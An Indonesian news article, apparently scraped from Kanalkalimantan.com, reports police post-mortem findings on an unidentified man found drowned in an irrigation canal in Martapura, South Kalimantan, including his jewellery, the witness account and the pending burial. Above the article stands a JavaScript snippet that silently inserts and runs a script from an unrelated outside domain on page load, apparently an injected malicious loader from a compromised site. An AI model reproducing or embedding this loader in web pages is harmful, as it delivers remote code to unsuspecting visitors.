(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Jasad Mr X yang ditemukan mengapung di irigasi Riam Kanan tepatnya di Komplek Aulia Permai, Desa Sungai Sipai, Kecamatan Martapura, Kabupaten Banjar, diperkirakan sudah meninggal dunia lebih dari dua hari.
Hal itu diungkap Tim Inafis Polres Banjar atas hasil visum luar yang dilakukan oleh dokter RSUD Ratu Zalecha, Kamis (13/4/2023) dini hari.
“Dari hasil visum luar oleh Dr Ahya menyatakan bahwa saat kematian diperkirakan lebih dua hari sebelum dilakukan pemeriksaan,” ungkap Kapolres Banjar AKBP M Ifan Hariyat T melalui AKP H Suwarji, Kasi Humas Polres Banjar, Kamis (13/4/2023) pagi.
Hasil visum lainnya melihat bahwa kedua bola mata mayat berkelamin lelaki itu ditemukan bengkak dan pada kedua lubang hidung terdapat busa halus. Serta di sekitar hidung dan mulut jasad nampak berwarna kebiruan.
Baca juga: Mayat Mr X Mengapung di Irigasi Sungai Sipai Martapura, Celana Pendek Berkalung Tasbih
Kemudian kedua telapak tangan dan kakinya juga mengalami keriput dan pada kulit di bawah kuku tampak kebiruan.
“Jasad diperkirakan mati lemas karena air yang masuk di kedua lubang hidung sudah sampai ke jaringan paru-paru,” sambung AKP H Suwarji.
Jasad Mr X sempat membuat geger warga Desa Sungai Sipai lantaran nampak mengapung di aluran irigasi Riam Kanan pada Rabu (12/4/2023) sekitar pukul 23.30 Wita.
Saat ditemukan Mr X tak memakai baju, hanya memiliki sejumlah perhiasan dan mengenakan celana legging berwarna hitam.
Sejumlah perhiasan itu dijadikan barang bukti, di antaranya sebuah gelang warna kuning bermotif kembang, sebuah gelang plastik bentuk bintang warna merah muda, dan beberapa gelang karet warna hitam.
Baca juga: Kondisi Terkini Bayi Dibuang di Guntung Manggis, Lahir Prematur dan Sangat Lemah
Kemudian ada sebuah cincin warna putih terbuat dari besi, sebuah kalung tasbih yang memiliki peluitnya, serta sebuah anting warna putih dari besi.
Hasil visum ini juga menyatakan bahwa tidak ditemukan tindakan kekerasan atau pun tindak pidana lainnya.
Sebelumnya Mr X ditemukan oleh seorang warga yang merupakan penjaga malam, saat itu di Desa Sungai Sipai, Martapura.
Saksi S mengungkap, dirinya diberitahu oleh seorang pengendara yang lewat bahwa terdapat bau busuk tepat di bawah jembatan aliran irigasi Riam Kanan di dekat Komplek Aulia Permai.
“Kemudian saksi mendatangi jembatan itu melihat mayat berjenis kelamin laki-laki mengapung di tengah aliran irigasi, kemudian melaporkannya ke relawan,” jelas Kasi Humas Polres Banjar.
Saksi sempat mengikuti mayat yang mengalir dan mengapung itu hingga jarak kurang lebih 1 km sambil menunggu relawan emergency berdatangan.
Setelah relawan berdatangan kemudian saksi menahan mayat menggunakan bambu, dan mencoba mengevakuasi bersama dengan relawan emergency.
Baca juga: Jelang Hari Raya, Pemko Banjarbaru Bagikan 2.165 Paket Tali Asih
Hingga saat ini jasad Mr X belum ada yang mengenalinya. Jasad pun masih terbaring di ruang Instalasi Rawat Jenazah RSUD Ratu Zalecha Martapura.
“Belum ada yang mengenali jasad itu tapi dalam waktu 2×24 jam, apabila tidak ada keluarga korban maka akan dimakamkan dengan identitas Mr X oleh pihak rumah sakit,” pungkasnya. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
This website uses cookies.